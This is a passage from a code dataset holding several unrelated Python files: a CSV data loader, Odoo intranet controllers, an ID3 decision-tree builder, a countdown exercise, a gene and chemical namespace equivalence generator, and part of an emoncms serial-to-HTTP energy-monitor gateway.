:return: The number of files created\n :rtype: int\n '''\n index = 0\n run = True\n while(run):\n print(' Iteration',index)\n X, y = self._splitRawChunk(index)\n if (X.shape[0] == 0):\n run = False\n else:\n np.savetxt('X_{}.csv'.format(index), X, delimiter=',', fmt='%i')\n np.savetxt('y_{}.csv'.format(index), y, delimiter=',', fmt='%.9e')\n index += 1\n return index-1\n\n def loadData(self, index):\n '''\n Splits the original trainset into smaller files of overlapping windows.\n Saves the files in the window_data_path in the format X_{i}.csv and y_{i}.csvself.\n :param int index: The index of the files to load\n :return: X, y\n :rtype: (numpy.array, numpy.array)\n '''\n X = np.loadtxt(os.path.join(self.window_data_path, 'X_{}.csv'.format(index)), delimiter=',', dtype=np.int16)\n y = np.loadtxt(os.path.join(self.window_data_path, 'y_{}.csv'.format(index)), delimiter=',', dtype=np.float32)\n\n return X, y\n\nif __name__ == \"__main__\":\n d = DataLoader(read_chunk_size=80000000)\n d.splitRaw()\n","sub_path":"lanl/working/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"463666318","text":"from odoo import http\nfrom odoo.addons.website.controllers.main import Website\nfrom odoo.http import request\nfrom odoo.addons.portal.controllers.web import Home\n\nclass Website(Website):\n\n @http.route(auth='public')\n def index(self, data={}, **kw):\n super(Website, self).index(**kw)\n return http.request.render('intranet_home.new_homepage_vardhman', data)\n\n\n\nclass Academy(http.Controller):\n\n @http.route('/usefullinks/', auth='public', website=True)\n def index(self, **kw):\n Teachers = http.request.env['vardhman.useful.links']\n Employees = http.request.env['hr.employee']\n return http.request.render('intranet_home.use_links', {\n 'teachers': Teachers.search([])\n })\n\n\nclass home(Home):\n\n @http.route('/', type='http', auth=\"public\", website=True)\n def index(self, **kw):\n print(\"<<<<<<<<<<<<<<<<<<<\")\n links = request.env['vardhman.useful.links'].sudo().search([])\n print(\"----------\",links)\n if links:\n values = [{\n 'name':x['name'],\n 'url':x['url'],\n #'icon':links.icon\n } for x in links]\n return request.render('intranet_home.new_homepage_vardhman', {'values':values})","sub_path":"intranet_home1/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"302364977","text":"import pandas as pd\nfrom functools import reduce\nfrom itertools import chain as ch\nfrom trees.node import Node\n\n'''\ngrow_tree(): an ID3 implementation for binary classification;\n\tgiven a dataset with binary attribute and target labels,\n\tgrow_tree recursively divides the dataset via the\n\tminimal conditional entropy (i.e., maximum gain) heuristic.\n\tEach subdivision creates a node holding attribute name and \n\tdata subset information until division is no longer possible,\n\tat which case the node is a leaf node.\n\tRETURN: a binary decision tree\n'''\n\ndef grow_tree(data, glob_freq_label = None, name = \"root\", branch = None):\n\t\n\t'''\n\tdata: a pandas DataFrame with a subset of the data; \n\t\t the data is corralled by an attribute with minimal \n\t\t conditional entropy in the previous iteration of grow_tree();\n\t\t 1st iteration: all data\n\t\t \n\tglob_freq_label: the most frequent target class;\n\t\t \n\tname: the attribute criterion the node branched from; \n\t\t each name is the attribute with minimal conditional entropy\n\t\t in the previous iteration;\n\t\t 1st iteration: \"root\"\n\t\t \n\tbranch: the attribute criterion's label;\n\t\t T (1) or F (0), from the last iteration's \n\t\t attribute with minimal conditional entropy;\n\t\t 1st iteration: None\n\t'''\n\t\n\tnode = Node(data)\t\t\t\t# node with data subset\n\tnode.name = name\t\t\t\t# name it via its branching attribute & label\n\tnode.branch_case = str(branch) if branch is not None else None\n\trows, cols = node.data.shape\t# grab the dimensions of the ata\n\tH = node.entropy()\t\t\t\t# compute target label entropy\n\t\n\tif name is \"root\":\t\t\t\t\t\t# calculate most common label for entire dataset\n\t\tglob_freq_label = 1 if float(sum(data.iloc[:, cols - 1])) / len(data) >= 0.5 else 0\t\n\tloc_freq_label = (1 if float(sum(node.data.iloc[:, cols - 1])) \n\t\t/ len(node.data) >= .5 else 0)\t\t# calculate most common label within subset of data\n\t\n\tif H == 0:\t\t\t\t\t\t\t\t\t\t\t\t\t\t# if there is 0 uncertainty, then\n\t\tnode.label = 1 if node.data.iloc[0, cols - 1] == 1 else 0 \t# the current node is a leaf, and\n\t\treturn node\t\t\t\t\t\t\t\t\t\t\t\t ### its label is the target label\n\t\t\n\tif cols == 1:\t\t\t\t\t\t\t\t\t\t\t\t\t# if there are no more attributes, then the current\n\t\tnode.label = glob_freq_label if H == 1 else loc_freq_label\t# node's label is the most common label in the data subset,\n\t\treturn node\t\t\t\t\t\t\t\t\t\t\t\t ### unless impurity is maximum, then it is the most common\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# label in the entire data\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\tidentical_attr = (map(lambda x, y: x == y, node.data.iloc[0, :(cols-1)], node.data.iloc[i, :(cols-1)]) for i in range(rows))\n\tidentical_attr = list(ch.from_iterable(identical_attr))\t\t\t# compare each row with the first via map and de-nest\n\tidentical_attr = reduce(lambda x, y: x and y, identical_attr)\t# the nested T and F values via from_iterable so that\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# reduce can determine if all rows are identical\n\tif identical_attr:\n\t\tnode.label = glob_freq_label if H == 1 else loc_freq_label\t# if all examples' attributes are identical,\n\t\treturn node\t\t\t\t\t\t\t\t\t\t\t\t ### return the node and set its label depending on H\n\t\t\n\tbest_attr, H_cond = node.min_conditional_entropy()\t\t\t\t# compute the value and attribute of minimal conditional H\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\tdata_true = pd.DataFrame(node.data[node.data.iloc[:, best_attr] == 1])\t\t\t\t# split data into two new datasets via true and\n\tdata_true = pd.DataFrame(data_true.drop(data_true.columns[best_attr], axis = 1))\t# false labels of the best attribute, then\n\tdata_false = pd.DataFrame(node.data[node.data.iloc[:, best_attr] == 0])\t\t\t\t# drop the attribute from the datasets, preventing\n\tdata_false = pd.DataFrame(data_false.drop(data_false.columns[best_attr], axis = 1))\t# the tree from reusing redundant attributes\n\t\n\tname_true = node.data.columns[best_attr]\t\t\t\t\t# set the branching names for the true \n\tname_false = node.data.columns[best_attr]\t\t\t\t\t# and false branches of the next iteration\t\n\t\n\tnode.branch_1 = grow_tree(data_true, glob_freq_label, name_true, 1)\t\t\t\t\t# and create the branches via grow_tree\n\tnode.branch_0 = grow_tree(data_false, glob_freq_label, name_false, 0)\n\t\n\treturn node\n\t\n\n\t\n","sub_path":"f_growtree.py","file_name":"f_growtree.py","file_ext":"py","file_size_in_byte":4074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"412584327","text":"#!/usr/bin/env python3\n#Author: Suman Sewani\n#Author ID: sksewani\n#Date Created: 2021/01/24\nimport sys\ntimer = 10\nwhile timer != 0:\n\tprint(timer)\n\ttimer = timer - 1\n\nprint('blast off!')\n\n","sub_path":"lab2e.py","file_name":"lab2e.py","file_ext":"py","file_size_in_byte":187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"391456261","text":"# coding: utf-8\n\n'''\n equiv.py\n\n Construct each of the .beleq files, given a particular dataset.\n This involves gathering all the terms and determining whether\n or not there are existing terms that refer to the same thing.\n Terms are either then equivalenced to something else, or given\n a new uuid (but UUIDs should be preserved after the first run).\n\n'''\n\nimport uuid\nimport namespaces\nimport csv\nimport parsed\nimport os\nfrom collections import deque, defaultdict\n\nhgnc_list = []\nmgi_list = []\nrgd_list = []\nsp_list = []\n\nentrez_eq = {}\nhgnc_eq = {}\nmgi_eq = {}\nrgd_eq = {}\nsp_eq = {}\nentrez_converter = {}\naffy_eq = {}\nrefseq = {}\nsd = {}\nchebi_id_eq = {}\nchebi_name_eq = {}\npub_eq_dict = {}\ngobp_eq_dict = {}\ngocc_eq_dict = {}\ndo_eq_dict = {}\n\nref_status = {'REVIEWED' : 0,\n 'VALIDATED' : 1,\n 'PROVISIONAL' : 2,\n 'PREDICTED' : 3,\n 'MODEL' : 4,\n 'INFERRED' : 5,\n '-' : 6}\n\ndelim = '|'\n\n# create a reference, used in MeSH equivalencing\ncurdir = os.getcwd()\nmesh_to_gocc = curdir+'/datasets/meshcs_to_gocc.csv'\nmg_eq = {}\nwith open(mesh_to_gocc, 'r') as meshf:\n mg_eq = dict([(rec[0], rec[2]) for rec in csv.reader(meshf, delimiter=',', quotechar='\"')])\n\n# this method is called once, to build an equivalence dict used by SwissProt\ndef build_equivs():\n\n ns_dicts = [namespaces.hgnc_ns_dict, namespaces.mgi_ns_dict, \\\n namespaces.rgd_ns_dict]\n for d in ns_dicts:\n for k, v in d.items():\n if d is namespaces.hgnc_ns_dict:\n equiv(k, 'hgnc')\n if d is namespaces.mgi_ns_dict:\n equiv(k, 'mgi')\n if d is namespaces.rgd_ns_dict:\n equiv(k, 'rgd')\n\ndef make_eq_dict(d):\n temp_dict = d.get_dictionary()\n for entry in temp_dict:\n entrez_id = entry\n mapping = temp_dict.get(entrez_id)\n tax_id = mapping.get('tax_id')\n symbol = mapping.get('Symbol_from_nomenclature_authority')\n if tax_id == '9606':\n entrez_converter['HGNC:'+symbol] = entrez_id\n if tax_id == '10116':\n entrez_converter['RGD:'+symbol] = entrez_id\n if tax_id == '10090':\n entrez_converter['MGI:'+symbol] = entrez_id\n\n# 'd' is a DataObject, which wraps a nested dictionary. Currently, a copy\n# of each .beleq file is stored in a dictionary as well, (like entrez_eq).\n# This may not be needed in final implementation.\ndef equiv(d, verbose):\n if str(d) == 'entrez_info':\n with open('entrez-gene-ids.beleq', 'w') as fp:\n for gene_id in d.get_eq_values():\n uid = uuid.uuid4()\n fp.write(delim.join((gene_id, str(uid)))+'\\n')\n entrez_eq[gene_id] = uuid.uuid4()\n make_eq_dict(d)\n\n elif str(d) == 'hgnc':\n with open('hgnc-approved-symbols.beleq', 'w') as fp:\n for approved_symbol in d.get_eq_values():\n if '~withdrawn' in approved_symbol:\n continue\n new_id = to_entrez('HGNC:'+approved_symbol)\n if new_id is None:\n # keep track of which hgnc genes need new uuids (dont map to entrez)\n hgnc_list.append(approved_symbol)\n # generate new uuid\n uid = uuid.uuid4()\n fp.write(delim.join((approved_symbol, str(uid)))+'\\n')\n hgnc_eq[approved_symbol] = uid\n else:\n # use the entrez uuid\n uid = entrez_eq.get(new_id)\n fp.write(delim.join((approved_symbol, str(uid)))+'\\n')\n hgnc_eq[approved_symbol] = uid\n\n elif str(d) == 'mgi':\n with open('mgi-approved-symbols.beleq', 'w') as fp:\n for marker_symbol in d.get_eq_values():\n new_id = to_entrez('MGI:'+marker_symbol)\n if new_id is None:\n # keep track of which genes need new uuids (dont map to entrez)\n mgi_list.append(marker_symbol)\n # generate new uuid\n uid = uuid.uuid4()\n fp.write(delim.join((marker_symbol, str(uid)))+'\\n')\n mgi_eq[marker_symbol] = uid\n else:\n # use the entrez uuid\n uid = entrez_eq.get(new_id)\n fp.write(delim.join((marker_symbol, str(uid)))+'\\n')\n mgi_eq[marker_symbol] = uid\n\n elif str(d) == 'rgd':\n with open('rgd-approved-symbols.beleq', 'w') as fp:\n for symbol in d.get_eq_values():\n new_id = to_entrez('RGD:'+symbol)\n if new_id is None:\n # keep track of which genes need new uuids (dont map to entrez)\n rgd_list.append(symbol)\n # generate new uuid\n uid = uuid.uuid4()\n fp.write(delim.join((symbol, str(uid)))+'\\n')\n rgd_eq[symbol] = uid\n else:\n # use the entrez uuid\n uid = entrez_eq.get(new_id)\n fp.write(delim.join((symbol, str(uid)))+'\\n')\n rgd_eq[symbol] = uid\n\n elif str(d) == 'swiss':\n with open('swissprot-entry-names.beleq', 'w') as fp:\n # dbrefs is a dict, i.e { reference_type : id_of_that_gene}\n for name, dbrefs, accessions in d.get_eq_values():\n target_pool = ['HGNC', 'MGI', 'RGD']\n gene_ids = []\n alt_ids = []\n\n if dbrefs is not None:\n for k, v in dbrefs.items():\n if k == 'GeneId':\n gene_ids.extend(v)\n if k in target_pool:\n # could be MGI or RGD or HGNC ids\n alt_ids.extend(v)\n if len(gene_ids) == 1:\n temp_id = entrez_eq.get(gene_ids[0])\n if temp_id is None:\n uid = uuid.uuid4()\n fp.write(delim.join((name, str(uid)))+'\\n')\n sp_eq[name] = uid\n else:\n uid = entrez_eq.get(gene_ids[0])\n fp.write(delim.join((name, str(uid)))+'\\n')\n sp_eq[name] = uid\n elif len(gene_ids) == 0:\n # are there hgnc, mgi or rgd refs?\n if len(alt_ids) == 0:\n uid = uuid.uuid4()\n fp.write(delim.join((name, str(uid)))+'\\n')\n sp_eq[name] = uid\n sp_list.append(name)\n elif len(alt_ids) == 1:\n a_id = alt_ids[0]\n if 'HGNC' in a_id:\n hgnc_key = namespaces.hgnc_map.get(a_id)\n uid = hgnc_eq.get(hgnc_key)\n # SwissProt may be referring to a since-removed gene.\n if uid is None:\n uid = uuid.uuid4()\n fp.write(delim.join((name, str(uid)))+'\\n')\n sp_eq[name] = uid\n else:\n sp_eq[name] = uid\n elif 'MGI' in a_id:\n mgi_key = namespaces.mgi_map.get(a_id)\n uid = mgi_eq.get(mgi_key)\n # SwissProt may be referring to a since-removed gene.\n if uid is None:\n uid = uuid.uuid4()\n fp.write(delim.join((name, str(uid)))+'\\n')\n sp_eq[name] = uid\n else:\n sp_eq[name] = uid\n else:\n rgd_key = namespaces.rgd_map.get(a_id)\n uid = rgd_eq.get(rgd_key)\n # SwissProt may be referring to a since-removed gene.\n if uid is None:\n uid = uuid.uuid4()\n fp.write(delim.join((name, str(uid)))+'\\n')\n sp_eq[name] = uid\n else:\n fp.write(delim.join((name, str(uid)))+'\\n')\n sp_eq[name] = uid\n # > 1 alt_id then generate a new uuid\n else:\n uid = uuid.uuid4()\n fp.write(delim.join((name, str(uid)))+'\\n')\n sp_eq[name] = uid\n # > 1 entrez id than generate a new uuid\n else:\n uid = uuid.uuid4()\n fp.write(delim.join((name, str(uid)))+'\\n')\n sp_eq[name] = uid\n # finally, generate .beleq for accession data also\n build_acc_data(accessions, name)\n swiss_accessions_eq()\n\n elif str(d) == 'affy':\n with open('affy-probeset-ids.beleq', 'w') as fp:\n for probe_id, gene_id in d.get_eq_values():\n\n if gene_id is not None and '---' not in gene_id:\n\n # need the space before and after '///' because that is how it is parsed.\n entrez_ids = gene_id.split(' /// ')\n\n # for 1 entrez mapping, use the entez uuid\n if len(entrez_ids) == 1:\n status = entrez_eq.get(entrez_ids[0])\n if status is None:\n uid = uuid.uuid4()\n fp.write(delim.join((probe_id, str(uid)))+'\\n')\n affy_eq[probe_id] = uid\n else:\n uid = status\n fp.write(delim.join((probe_id, str(uid)))+'\\n')\n affy_eq[probe_id] = uid\n # we have > 1 entrez mapping, resolve to one.\n else:\n adjacent_list = []\n for entrez_gene in entrez_ids:\n refstatus = refseq.get(entrez_gene)\n adjacent_list.append(ref_status.get(refstatus))\n\n # zipping yields a list of tuples like [('5307',0), ('104',2), ('3043',None)]\n # i.e. [(entrez_id, refseq_status)]\n list_of_tuples = list(zip(entrez_ids, adjacent_list))\n\n # get rid of all 'None' tuples (No entrez mapping)\n list_of_tuples = [tup for tup in list_of_tuples if tup[1] is not None]\n\n # no mapping, generate new uuid\n if len(list_of_tuples) == 0:\n uid = uuid.uuid4()\n fp.write(delim.join((probe_id, str(uid)))+'\\n')\n affy_eq[probe_id] = uid\n\n # multiple entrez, resolve by refseq status\n else:\n # min tuple is highest refseq status (0 the best)\n min_tuple = min(list_of_tuples, key=lambda x: x[1])\n min_refseq = min_tuple[1]\n lowest_tuples = []\n\n for item in list_of_tuples:\n if item[1] == min_refseq:\n lowest_tuples.append(item)\n\n # if mutiple genes with same refseq, resolve by lowest gene #\n target_tuple = min(lowest_tuples)\n uid = entrez_eq.get(target_tuple[0])\n fp.write(delim.join((probe_id, str(uid)))+'\\n')\n affy_eq[probe_id] = uid\n # no entrez mapping, create a new uuid\n else:\n uid = uuid.uuid4()\n fp.write(delim.join((probe_id, str(uid)))+'\\n')\n affy_eq[probe_id] = uid\n\n # equiv for alt ids and names relies on the equivalence for\n # primary ids being completely generated.\n elif str(d) == 'chebi':\n with open('chebi-ids.beleq', 'w') as fp, open('chebi-names_eq.beleq', 'w') as f:\n # like Entrez, new uuid for primary ids only the FIRST time.\n for primary_id in d.get_primary_ids():\n uid = uuid.uuid4()\n fp.write(delim.join((primary_id, str(uid)))+'\\n')\n chebi_id_eq[primary_id] = uid\n for alt_id in d.get_alt_ids():\n if alt_id not in chebi_id_eq:\n # get its primary equivalent and use its uuid\n primary = d.alt_to_primary(alt_id)\n uid = chebi_id_eq[primary]\n fp.write(delim.join((alt_id, str(uid)))+'\\n')\n chebi_id_eq[alt_id] = uid\n for name in d.get_names():\n primary = d.name_to_primary(name)\n uid = chebi_id_eq.get(primary)\n f.write(delim.join((name, str(uid)))+'\\n')\n chebi_name_eq[name] = uid\n\n elif str(d) == 'pubchem_equiv':\n with open('pubchem_eq.beleq', 'w') as fp:\n for sid, source, cid in d.get_eq_values():\n if 'ChEBI' in source and cid is not None: # <-- verify that NO PubChem CID == 'None'\n # use the CHEBI uuid\n chebi_equiv = source.split(':')[1]\n uid = chebi_id_eq.get(chebi_equiv)\n fp.write(delim.join((sid, str(uid)))+'\\n')\n pub_eq_dict[sid] = uid\n else:\n # generate a new uuid\n uid = uuid.uuid4()\n fp.write(delim.join((sid, str(uid)))+'\\n')\n\n elif str(d) == 'gobp':\n with open('go-biological-processes-names.beleq', 'w') as gobp, \\\n open('go-biological-processes-ids.beleq', 'w') as gobp_id:\n for vals in d.get_eq_values():\n termid, termname = vals\n uid = uuid.uuid4()\n gobp_id.write(delim.join((termid, str(uid)))+'\\n')\n gobp.write(delim.join((termname, str(uid)))+'\\n')\n gobp_eq_dict[termname] = uid\n\n # GO is the baseline for processes, so new uuids the first time.\n elif str(d) == 'gocc':\n\n with open('go-cellular-component-terms.beleq', 'w') as gocc, \\\n open('go-cellular-component-ids.beleq', 'w') as gocc_id:\n\n for vals in d.get_eq_values():\n termid, termname = vals\n uid = uuid.uuid4()\n gocc_id.write(delim.join((termid, str(uid)))+'\\n')\n gocc.write(delim.join((termname, str(uid)))+'\\n')\n gocc_eq_dict[termid] = uid\n\n elif str(d) == 'do':\n # assign DO a new uuid and use as the primary for diseases\n with open('disease-ontology-names.beleq', 'w') as dn, \\\n open('disease-ontology-ids.beleq', 'w') as di:\n for vals in d.get_eq_values():\n name, id = vals\n uid = uuid.uuid4()\n dn.write(delim.join((name, str(uid)))+'\\n')\n di.write(delim.join((id, str(uid)))+'\\n')\n do_eq_dict[name] = uid\n\n elif str(d) == 'sdis_to_do':\n # try to resolve sdis terms to DO. If there is not one,\n # assign a new uuid.\n count = 0\n sdis = parsed.load_data('sdis')\n with open('selventa-legacy-diseases.beleq', 'w') as dof:\n for vals in sdis.get_eq_values():\n uid = None\n sdis_term = vals\n if d.has_equivalence(sdis_term):\n count = count + 1\n do_term = d.get_equivalence(sdis_term)\n if do_term in do_eq_dict:\n uid = do_eq_dict[do_term]\n else:\n uid = do_eq_dict[do_term.lower()]\n else:\n uid = uuid.uuid4()\n dof.write(delim.join((sdis_term, str(uid)))+'\\n')\n if verbose:\n print('Able to resolve ' +str(count)+ ' legacy disease terms to DO.')\n\n elif str(d) == 'schem_to_chebi':\n # try to resolve schem terms to CHEBI. If there is not one,\n # assign a new uuid.\n count = 0\n schem = parsed.load_data('schem')\n with open('selventa-legacy-chemical-names.beleq', 'w') as schemf:\n for vals in schem.get_eq_values():\n uid = None\n schem_term = vals\n if d.has_equivalence(schem_term):\n count = count + 1\n chebi_term = d.get_equivalence(schem_term)\n if chebi_term in chebi_name_eq:\n uid = chebi_name_eq[chebi_term]\n elif chebi_term.lower() in chebi_name_eq:\n uid = chebi_name_eq[chebi_term.lower()]\n else:\n uid = uuid.uuid4()\n schemf.write(delim.join((schem_term, str(uid)))+'\\n')\n if verbose:\n print('Able to resolve ' +str(count)+ ' legacy chemical terms to CHEBI.')\n\n elif str(d) == 'mesh':\n\n with open('mesh-cellular-locations.beleq', 'w') as mesha, \\\n open('mesh-diseases.beleq', 'w') as meshc, \\\n open('mesh-biological-processes.beleq', 'w') as meshg:\n do_data = parsed.load_data('do')\n for vals in d.get_eq_values():\n ui, mh, mns, synonyms = vals\n if any('A11.284' in branch for branch in mns):\n # get GO equiv if there is one\n uid = None\n go_id = mg_eq.get(mh)\n # meshcs_to_gocc contains OBSOLETE GO terms at the moment.\n # It is possible this lookup will return None, in that\n # case generate a new uuid.\n if go_id is not None:\n uid = gocc_eq_dict.get(go_id)\n # try to find out why lookups fail - maybe OBSOLETE?\n if uid is None:\n if verbose:\n print('Lookup failed for: '+str(go_id))\n uid = uuid.uuid4()\n else:\n uid = uuid.uuid4()\n mesha.write(delim.join((mh, str(uid)))+'\\n')\n elif any('C' in branch for branch in mns):\n # does UI exist as a Xref in DO?\n xref = do_data.get_xrefs('MSH:'+ui)\n if xref:\n uid = do_eq_dict[xref]\n else:\n uid = uuid.uuid4()\n meshc.write(delim.join((mh, str(uid)))+'\\n')\n elif any('G' in branch for branch in mns):\n # synonyms for MeSH\n uid = None\n for syn in synonyms:\n # root 'G' branch in GOBP\n for name in gobp_eq_dict:\n if syn.lower() == name.lower():\n uid = gobp_eq_dict.get(name)\n if uid is None:\n uid = uuid.uuid4()\n meshg.write(delim.join((mh, str(uid)))+'\\n')\n\nacc_helper_dict = defaultdict(list)\nsp_acc_eq = {}\ndef build_acc_data(accessions, gene_name):\n with open('swissprot-accession-numbers.beleq', 'w') as fp:\n # turn list into a queue\n q = deque(accessions)\n # primary accession name is first one on the queue\n primary = q.popleft()\n for item in q:\n acc_helper_dict[item].append(gene_name)\n # map every primary one-to-one with SP entry uuid\n uid = sp_eq.get(gene_name)\n fp.write(delim.join((primary, str(uid)))+'\\n')\n sp_acc_eq[primary] = uid\n\n# try to factor this out and merge into build_acc_data\ndef swiss_accessions_eq():\n with open('swissprot-accession-numbers.beleq', 'a') as fp:\n for sec_acc_id, v in acc_helper_dict.items():\n # only maps to one primary accession, same uuid\n if len(v) == 1:\n uid = sp_eq.get(v[0])\n fp.write(delim.join((sec_acc_id, str(uid)))+'\\n')\n sp_acc_eq[sec_acc_id] = uid\n # maps to > 1 primary accession, give it a new uuid.\n else:\n uid = uuid.uuid4()\n fp.write(delim.join((sec_acc_id, str(uid)))+'\\n')\n sp_acc_eq[sec_acc_id] = uid\n\n# fills a dict mapping (entrez_gene -> refseq status)\ndef build_refseq(d):\n for entrez_gene, status, taxid in d.get_eq_values():\n target_pool = ['9606', '10116', '10090']\n valid_status = ['REVIEWED', 'VALIDATED', 'PROVISIONAL', 'PREDICTED',\n 'MODEL', 'INFERRED']\n\n if taxid in target_pool and status in valid_status:\n refseq[entrez_gene] = status\n\ndef to_entrez(gene_id):\n converted_id = entrez_converter.get(gene_id)\n return converted_id\n","sub_path":"equiv.py","file_name":"equiv.py","file_ext":"py","file_size_in_byte":21292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"497661542","text":"#!/usr/bin/env python\n\n\"\"\"\n\n All Emoncms code is released under the GNU Affero General Public License.\n See COPYRIGHT.txt and LICENSE.txt.\n\n ---------------------------------------------------------------------\n Emoncms - open source energy visualisation\n Part of the OpenEnergyMonitor project:\n http://openenergymonitor.org\n\n\"\"\"\n\n\"\"\"\nTODO : \n- I18n : translate strings (gettext ?)\n- add new parameters instead of hardcoding (log level, sending interval...)\n- allow any number of servers (instead of hardcoding 1 local and 1 remote) ?\n- save samples for later when connection is down\n\"\"\"\n\nimport serial\nimport MySQLdb, MySQLdb.cursors\nimport urllib2, httplib\nimport time, datetime\nimport logging, logging.handlers\nimport re\nimport signal\nimport os\nimport csv\nimport argparse\nimport urlparse\n\n\"\"\"class ServerDataBuffer\n\nStores server parameters and buffers the data between two HTTP requests\n\n\"\"\"\nclass ServerDataBuffer():\n\n def __init__(self, protocol, domain, path, apikey, period, active, logger=None):\n \"\"\"Create a server data buffer initialized with server settings.\n \n domain (string): domain name (eg: 'domain.tld')\n path (string): emoncms path with leading slash (eg: '/emoncms')\n apikey (string): API key with write access\n period (int): sending interval in seconds\n active (bool): whether the data buffer is active\n logger (string): the logger's name (default None)\n \n \"\"\"\n self._protocol = protocol\n self._domain = domain\n self._path = path\n self._apikey = apikey\n self._period = period\n self._data_buffer = []\n self._last_send = time.time()\n self._active = active\n self._logger = logging.getLogger(logger)\n\n def update_settings(self, protocol=None, domain=None, path=None, apikey=None, period=None, active=None):\n \"\"\"Update server settings.\"\"\"\n if protocol is not None:\n self._protocol = protocol\n if domain is not None:\n self._domain = domain\n if path is not None:\n self._path = path\n if apikey is not None:\n self._apikey = apikey\n if period is not None:\n self._period = period\n if active is not None:\n self._active = active\n\n def add_data(self, data):\n \"\"\"Append timestamped dataset to buffer.\n\n data (list): node and values (eg: '[node,val1,val2,...]')\n\n \"\"\"\n \n if not self._active:\n return\n \n self._logger.debug(\"Server \" + self._domain + self._path + \" -> add data: \" + str(data))\n \n # Insert timestamp before data\n dataset = list(data) # Make a distinct copy: we don't want to modify data\n dataset.insert(0,time.time())\n # Append new data set [timestamp, node, val1, val2, val3,...] to _data_buffer\n self._data_buffer.append(dataset)\n\n def send_data(self):\n \"\"\"Send data to server.\"\"\"\n \n if not self._active:\n return\n\n # Prepare data string with the values in data buffer\n now = time.time()\n data_string = '['\n for data in self._data_buffer:\n data_string += '['\n data_string += str(int(round(data[0]-now)))\n for sample in data[1:]:\n data_string += ','\n data_string += str(sample)\n data_string += '],'\n data_string = data_string[0:-1]+']' # Remove trailing comma and close bracket \n self._data_buffer = []\n self._logger.debug(\"Data string: \" + data_string)\n \n # Prepare URL string of the form\n # 'http://domain.tld/emoncms/input/bulk.json?apikey=12345&data=[[-10,10,1806],[-5,10,1806],[0,10,1806]]'\n url_string = self._protocol+self._domain+self._path+\"/input/bulk.json?apikey=\"+self._apikey+\"&data=\"+data_string\n self._logger.debug(\"URL string: \" + url_string)\n\n # Send data to server\n self._logger.info(\"Sending to \" + self._domain + self._path)\n try:\n result = urllib2.urlopen(url_string)\n except urllib2.HTTPError as e:\n self._logger.warning(\"Couldn't send to server, HTTPError: \" + str(e.code))\n except urllib2.URLError as e:\n self._logger.warning(\"Couldn't send to server, URLError: \" + str(e.reason))\n except httplib.HTTPException:\n self._logger.warning(\"Couldn't send to server, HTTPException\")\n except Exception:\n import traceback\n self._logger.warning(\"Couldn't send to server, Exception: \" + traceback.format_exc())\n else:\n if (result.readline() == 'ok'):\n self._logger.info(\"Send ok\")\n else:\n self._logger.warning(\"Send failure\")\n \n # Update _last_send\n self._last_send = time.time()\n\n def check_time(self):\n \"\"\"Check if it is time to send data to server.\n \n Return True if sending interval has passed since last time\n\n \"\"\"\n now = time.time()\n if (now - self._last_send > self._period):\n return True\n \n def has_data(self):\n \"\"\"Check if buffer has data\n \n Return True if data buffer is not empty.\n \n \"\"\"\n return (self._data_buffer != [])\n\n\n\"\"\"class RFM2PiGateway\n\nMonitors the serial port for data from RFM2Pi and sends data to local or remote \nemoncms servers through ServerDataBuffer instances.\n\n\"\"\"\nclass RFM2PiGateway():\n \n def __init__(self, logpath=None, local_url='http://localhost/emoncms'):\n \"\"\"Setup an RFM2Pi gateway.\n \n logpath (path): Path to the file the log should be written into.\n If Null, log to STDERR.\n local_domain (string): domain name of local emonCMS server\n local_path (string): path to emonCMS on local server\n\n \"\"\"\n\n # Initialize exit request flag\n self._exit = False\n\n # Initialize logging\n self.log = logging.getLogger(__name__)\n if (logpath is None):\n # If no path was specified, everything goes to sys.stderr\n loghandler = logging.StreamHandler()\n else:\n # Otherwise, rotating logging over two 5 MB files\n loghandler = logging.handlers.RotatingFileHandler(logpath,\n 'a', 5000 * 1024, 1)\n loghandler.setFormatter(logging.Formatter(\n '%(asctime)s %(levelname)s %(message)s'))\n self.log.addHandler(loghandler)\n self.log.setLevel(logging.DEBUG)\n \n # Initialize local server settings\n url = urlparse.urlparse(local_url)\n self._local_protocol = url.scheme + '://'\n self._local_domain = url.netloc\n self._local_path = url.path\n \n # Open serial port\n self._ser = self._open_serial_port()\n if self._ser is None:\n self.log.critical(\"COM port opening failed. Exiting...\")\n self.close()\n raise Exception('COM port opening failed.')\n \n # Initialize serial RX buffer\n self._serial_rx_buf = ''\n \n # Initialize target emoncms server buffer set\n self._server_buffers = {}\n \n # Declare timers\n self._status_update_timestamp = 0\n self._time_update_timestamp = 0\n\n # Get emoncms server buffers and RFM2Pi settings\n # (force_RFM2Pi_update forces RFM2Pi parameters to be sent)\n self._settings = None\n self._update_settings()\n \n # If settings can't be obtained, exit\n while (self._settings is None):\n self.log.warning(\"Couldn't get settings. Retrying in 10 sec...\")\n time.sleep(10)\n self._update_settings()\n \n def run(self):\n \"\"\"Launch the gateway.\n \n Monitor the COM port and process data.\n Check settings on a regular basis.\n\n \"\"\"\n\n # Set signal handler to catch SIGINT and shutdown gracefully\n signal.signal(signal.SIGINT, self._sigint_handler)\n \n # Until asked to stop\n while not self._exit:\n \n # Update settings and status every second\n now = time.time()\n if (now - self._status_update_timestamp > 1):\n # Update \"running\" status to inform emoncms the script is running\n self._raspberrypi_running()\n # Update settings\n self._update_settings()\n # \"Thanks for the status update. You've made it crystal clear.\"\n self._status_update_timestamp = now\n \n # Broadcast time to synchronize emonGLCD\n if (int(self._settings['sendtimeinterval'])):\n if (now - self._time_update_timestamp > \n int(self._settings['sendtimeinterval'])):\n self._send_time()\n self._time_update_timestamp = now\n\n # Read serial RX\n self._serial_rx_buf = self._serial_rx_buf + self._ser.readline()\n \n # If full line was read, process\n if ((self._serial_rx_buf != '') and \n 